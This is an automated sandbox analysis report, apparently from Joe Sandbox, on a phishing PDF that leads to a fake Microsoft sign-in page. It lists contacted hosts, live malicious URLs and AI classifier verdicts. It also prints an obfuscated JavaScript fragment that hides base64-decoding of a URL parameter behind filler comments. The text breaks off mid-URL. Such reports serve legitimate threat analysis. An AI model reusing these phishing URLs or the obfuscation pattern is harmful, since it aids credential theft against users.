stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
sgp.file.myqcloud.com	43.152.64.193	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
nbgybnlh.appfilemanagement.com	104.21.64.1	true	true	unknown
s-part-0033.t-0009.t-msedge.net	13.107.246.61	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
5735915102.businesslawyermicrosoft.com	69.49.230.198	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	216.58.206.36	true	false	high
5735915102-1323985617.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901fe1373f1743ff/1736881341713/6bc58a56b02d7fcf21d9a5cc560441b4f9324550343864a7d0013110d9af5123/zILf7rT2yfkFuAs	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe449df1f4249&lang=auto	false		high
https://nbgybnlh.appfilemanagement.com/cwVGt	true	Avira URL Cloud: safe	unknown
https://nbgybnlh.appfilemanagement.com/cwVGt/	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901fe449df1f4249/1736881467629/37484d0b907f7f71e0325305aee69cd8665702208413495f7b7b2773af1d273a/EGGVM3Xr2YeXElZ	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://nbgybnlh.appfilemanagement.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://5735915102-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH	false		high
https://a.nel.cloudflare.com/report/v4?s=dHr48YUKGL%2FPog%2BH0RHplzBt6FCeQeKAM51uaX4DOoWT6n8fM4ct6xanEGQrh70jD7GP6GVoCqOi07ffYrF6OWi15%2BXAxmBaG7rZ2hbvyefXiRuPngZ5diJfyKk7gMoF0PSHKvUp0wBBE%2BPQWSXY2f4%3D	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe1373f1743ff&lang=auto	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false		high
https://nbgybnlh.appfilemanagement.com/cwVGt)	logitix.pdf	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_215.10.dr, chromecache_218.10.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_215.10.dr, chromecache_218.10.dr, chromecache_229.10.dr, chromecache_235.10.dr	false		high
https://getbootstrap.com)	chromecache_229.10.dr, chromecache_235.10.dr	false		high
http://www.pdf-tools.com)	logitix.pdf	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_215.10.dr, chromecache_218.10.dr, chromecache_229.10.dr, chromecache_235.10.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_231.10.dr, chromecache_227.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	nbgybnlh.appfilemanagement.com	United States	13335	CLOUDFLARENETUS	true
69.49.230.198	5735915102.businesslawyermicrosoft.com	United States	46606	UNIFIEDLAYER-AS-1US	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
43.152.64.193	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591201
Start date and time:	2025-01-14 20:00:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	logitix.pdf
Detection:	MAL
Classification:	mal64.phis.winPDF@40/94@45/15
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 18.213.11.84, 54.224.241.105, 50.16.47.176, 2.16.168.105, 2.16.168.125, 172.64.41.3, 162.159.61.3, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.17.190.73, 142.250.184.195, 142.250.186.174, 173.194.76.84, 142.250.184.206, 142.250.185.174, 142.250.74.202, 142.250.185.138, 142.250.186.138, 142.250.185.170, 142.250.186.74, 142.250.186.42, 142.250.186.106, 172.217.16.138, 142.250.184.202, 216.58.212.170, 172.217.18.10, 142.250.181.234, 142.250.186.170, 142.250.185.234, 216.58.206.42, 142.250.185.202, 172.217.18.110, 172.217.18.14, 172.217.16.206, 142.250.185.238, 142.250.185.131, 142.250.186.46, 142.250.185.78, 142.250.186.78, 142.250.184.238, 142.250.185.142, 142.250.185.206, 142.250.184.234, 172.217.23.106, 142.250.185.106, 172.217.16.202, 216.58.206.78, 2.23.242.162, 96.17.64.171, 4.245.163.56, 13.107.246.45, 13.107.246.61
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, www.tm.aadcdn.msftauth.akadns.net, edgedl.me.gvt1.com, armmf.adobe.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:02:01	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://nbgybnlh.appfilemanagement.com/cwVGt/... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including the use of dynamic code execution through the `atob()` function and the extraction of potentially sensitive data from the URL query string. While the script appears to have some obfuscation, the overall behavior is concerning and requires further investigation to determine the true intent." }
const accusation = (name) => { name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var regex = new RegExp('[\\?&]' + name + '=([^&#]*)'); var results = regex.exec(location.search); // Tail elit consectetur eiusmod, brisket doner laborum ipsum labore strip steak frankfurter pork belly salami. Turducken salami jowl shank pig capicola eiusmod commodo consectetur short ribs dolore kielbasa. Turkey nulla et, deserunt pork minim do ham nisi adipisicing. Aliqua kielbasa bacon quis nulla aute. Esse non tail swine consequat cow ea. Shoulder deserunt tenderloin ullamco eu pancetta in chuck aliqua consequat. Bresaola turducken incididunt, tempor ex fatback qui consequat picanha tail deserunt. Elit anim id chicken buffalo. Cillum boudin swine meatball aute. Elit tempor reprehenderit voluptate laboris quis, pork chop biltong shankle bacon sint spare ribs. Cupim pancetta picanha velit tenderloin turkey culpa chicken sirloin corned beef kielbasa fatback reprehenderit. Kevin ut do, capicola shankle ut exercitation andouille. Exercitation short ribs t-bone consequat jowl pig, ham tail buffalo incididunt minim in. Fatback bresaola andouille irure, nisi fugiat ribeye non kevin ut. Id tongue pork belly, labore pig kevin beef biltong salami. return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' ')); } // Boudin hamburger brisket voluptate short loin esse sed proident short ribs shankle turducken ea nulla quis. Minim landjaeger tongue velit kevin porchetta jerky non. Pig leberkas chislic velit aute, kevin cow adipisicing. Pariatur picanha beef adipisicing bacon ullamco non frankfurter turkey. Ut ea chislic venison in pancetta pork loin deserunt spare ribs short ribs ad ex turkey bresaola. Picanha nulla excepteur eiusmod prosciutto proident drumstick short loin ad andouille ham. Consequat culpa kielbasa eu. Sed consequat exercitation reprehenderit short ribs tenderloin. Eiusmod non id dolore. Porchetta andouille beef, filet mignon cillum tri-tip ham hock pancetta. Boudin sirloin id sed. Sunt biltong ham, labore capicola laborum tail consectetur tri-tip meatball cow jerky ad ut. Nisi flank cow bresaola irure, andouille in sed ullamco commodo eu. Ullamco aliqua ex, biltong consequat culpa short loin id boudin. Alcatra shoulder officia aute, ground round ham sunt drumstick bresaola t-bone. rh13z8jemt = accusation('e') == '' ? rh13z8jemt : accusation('e'); rh13z8jemt = atob(rh13z8jemt);
URL: https://nbgybnlh.appfilemanagement.com/cwVGt/... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple form submission function, which is a common and legitimate behavior. While it does not demonstrate any high-risk indicators, the lack of context around the form's purpose and the target domain means the script requires further review to ensure it is not part of a larger malicious campaign. Overall, the risk score is low, but additional investigation may be warranted." }
function HazyBreeze() { document.forms[0].submit(); }
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please click on the 'View Documents' link below to Open Document.", "prominent_button_name": "View Documents", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://nbgybnlh.appfilemanagement.com/cwVGt/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://appfilemanagement.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://appfilemanagement.com
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Logitix" ] }
	{ "brands": [ "Logitix" ] }
URL: https://nbgybnlh.appfilemanagement.com/cwVGt/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://nbgybnlh.appfilemanagement.com/cwVGt/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign In", "prominent_button_name": "Next", "text_input_field_labels": [ "095h1p@whhtv.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://nbgybnlh.appfilemanagement.com/cwVGt/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://nbgybnlh.appfilemanagement.com/cwVGt/ Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'nbgybnlh.appfilemanagement.com' does not match the legitimate domain for Microsoft.", "The domain 'appfilemanagement.com' is not commonly associated with Microsoft.", "The subdomain 'nbgybnlh' appears random and does not provide any clear association with Microsoft.", "The presence of a random subdomain and an unrelated primary domain is a common tactic in phishing attempts." ], "riskscore": 9} Google indexed: False
URL: nbgybnlh.appfilemanagement.com Brands: Microsoft Input Fields: 095h1p@whhtv.com

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
104.18.94.41	EFT_Payment_Notification_Gheenirrigation.html	Get hash	malicious	HTMLPhisher	Browse
	Document_31055.pdf	Get hash	malicious	Unknown	Browse
	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==	Get hash	malicious	Unknown	Browse
	MissedCall_Record_3295935663.html	Get hash	malicious	Unknown	Browse
	Ecastillo-In Service Agreement.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse
	http://loginmicrosoftonline.al-mutaheda.com/expiration/notice/nRrRc/receiving@accel-inc.com	Get hash	malicious	HTMLPhisher	Browse
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse
	https://2ol.itectaxice.ru/Qm75/	Get hash	malicious	Unknown	Browse
	https://forms.office.com/e/xknrfCPQkR	Get hash	malicious	HTMLPhisher	Browse
104.21.64.1	NVIDIAShare.exe.bin.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	bibaprog.ru/ProviderEternallineauthmultiTrackwordpressWpDownloads.php
	gem2.exe	Get hash	malicious	Unknown	Browse	securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt
	SpCuEoekPa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	www.vilakodsiy.sbs/w7eo/
	1162-201.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/utww/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	ordrr.statementquo.com/QCbxA/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	http://pomservicing.co.uk/pomservicing/Smtb/dGVzdF9tYWlsQGVtYWlsLmpw==%C3%A3%E2%82%AC%E2%80%9A$$%C3%A3%E2%82%AC%E2%80%9A/1/010001943914714a-a13d10fa-2f31-4a50-b2fa-f3854398d733-000000/CAe7zeJgIBBw_nSVrUkbbcG65_c=407	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	Ecastillo-In Service Agreement.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://bankersonline.emlnk1.com/lt.php?x=3DZy~GDKVXafEpOq0AE4hRad~XEkk_HzluhlXXTGVXjNDHz~_Uy.0eht1H_zk_D2kvY3bHHJJ3ab62	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://1143b54.wcomhost.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://thirsty-austin-db0c42.netlify.app/	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	phish_alert_sp2_2.0.0.0 (2).eml	Get hash	malicious	Unknown	Browse	104.18.10.207
	Scan.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
s-part-0033.t-0009.t-msedge.net	https://www.google.com/amp/url.rw/6r6ns	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	13.107.246.61
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://sacredartscommunications.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	http://loginmicrosoftonline.Ssc.qnkproductions.com/cache/css/Ssc/mwoods@ssc.nsw.gov.au	Get hash	malicious	Unknown	Browse	13.107.246.61
	http://cesinc365.xemitronax.ru/9FAvn/	Get hash	malicious	Unknown	Browse	13.107.246.61
	Condenast eCHECK- Payment Advice.html	Get hash	malicious	Unknown	Browse	13.107.246.61
sgp.file.myqcloud.com	http://pomservicing.co.uk/pomservicing/Smtb/dGVzdF9tYWlsQGVtYWlsLmpw==%C3%A3%E2%82%AC%E2%80%9A$$%C3%A3%E2%82%AC%E2%80%9A/1/010001943914714a-a13d10fa-2f31-4a50-b2fa-f3854398d733-000000/CAe7zeJgIBBw_nSVrUkbbcG65_c=407	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c